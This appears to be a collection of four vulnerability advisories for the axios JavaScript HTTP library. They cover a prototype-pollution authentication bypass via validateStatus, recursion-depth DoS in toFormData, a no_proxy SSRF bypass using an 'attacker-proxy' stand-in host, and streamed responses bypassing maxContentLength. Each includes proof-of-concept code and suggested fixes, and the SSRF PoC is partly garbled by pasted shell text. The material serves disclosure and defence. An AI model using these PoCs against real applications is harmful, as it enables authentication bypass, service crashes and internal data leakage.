The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.
Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-287: Improper Authentication
CVSS 3.1
Score: 8.2 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact within the application |
| Confidentiality | Low | 401 treated as success may expose data behind auth gates |
| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |
| Availability | None | The function works correctly (returns true), no crash |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.
Why validateStatus Is Uniquely Vulnerable
All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:
``javascript
// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
if (prop in config2) { // ← in traverses prototype chain!
return getMergedValue(a, b);
} else if (prop in config1) {
return getMergedValue(undefined, a);
}
}
// mergeConfig.js:94
const mergeMap = {
// ... all others use defaultToConfig2 ...
validateStatus: mergeDirectKeys, // ← ONLY property using this strategy
};
`
The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.
Proof of Concept
1. The Setup (Simulated Pollution)
`javascript
Object.prototype.validateStatus = () => true;
`
2. The Gadget Trigger (Safe Code)
`javascript
// Application checks authentication via HTTP status codes
try {
const response = await axios.get('https://api.internal/admin/users');
// Developer expects: 401 → catch block → redirect to login
// Reality: 401 → treated as success → displays admin data
processAdminData(response.data); // Executes with 401 response body!
} catch (error) {
redirectToLogin(); // NEVER REACHED for 401/403/500
}
`
3. The Execution
`javascript
// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true
// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus; // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
resolve(response); // 401, 403, 500 all resolve here!
}
`
4. The Impact
`
Before pollution:
HTTP 200 → resolve (success)
HTTP 401 → reject (auth error) → redirectToLogin()
HTTP 403 → reject (forbidden) → showAccessDenied()
HTTP 500 → reject (server error) → showErrorPage()
After pollution:
HTTP 200 → resolve (success)
HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
HTTP 403 → resolve (SUCCESS!) → application thinks user has access
HTTP 500 → resolve (SUCCESS!) → application processes error as data
`
Verified PoC Output
`
--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500
--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)
--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }
`
Impact Analysis
Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
Universal Scope: Affects every axios instance in the application, including third-party libraries.
Recommended Fix
Replace the in operator with hasOwnProperty in mergeDirectKeys:
`javascript
// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop)) {
return getMergedValue(a, b);
} else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
return getMergedValue(undefined, a);
}
}
`
Resources
CWE-1321: Prototype Pollution
CWE-287: Improper Authentication
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
MDN: in` operator
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | PoC developed and vulnerability confirmed |
| 2026-04-16 | Report revised for accuracy |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Axios: unbounded recursion in toFormData causes DoS via deeply nested request data
Summary
toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.
Details
lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.
toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.
The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.
PoC
``js
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';
function nest(depth) {
let o = { leaf: 1 };
for (let i = 0; i < depth; i++) o = { a: o };
return o;
}
try {
toFormData(nest(2500), new FormData());
} catch (e) {
console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded
`
Server-side reachability example:
`js
// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
await axios.post('https://upstream/api', req.body); // req.body user-controlled
res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes
`
Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.
Impact
A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
Axios: no_proxy bypass via IP alias allows SSRF
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not
resolve IP aliases or loopback equivalents. As a result:
no_proxy=localhost does NOT block 127.0.0.1 or [::1]
no_proxy=127.0.0.1 does NOT block localhost or [::1]
POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';
``(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....
process.env.http_proxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
await axios.get('http://localhost:7777/');
} catch(e) {
console.log('Error:', e.message);
}
console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
await axios.get('http://127.0.0.1:7777/');
} catch(e) {
console.log('Error:', e.message);
}
fakeProxy.close();
internalServer.close();
});
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ``
<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />
Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
Axios: HTTP adapter streamed responses bypass maxContentLength
Summary
When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.
Details
In lib/adapters/http.js:
786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.
So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.
PoC
Environment:
Axios main at commit f7a4ee2
Node v24.2.0
Steps:
1. Start an HTTP server that returns a 2 MiB response body.
2. Call Axios with:
adapter: 'http'
responseType: 'stream'
maxContentLength: 1024
3. Read the returned stream fully.
Observed:
Success; full 2097152 bytes readable.
Control check:
Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.
Impact
Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.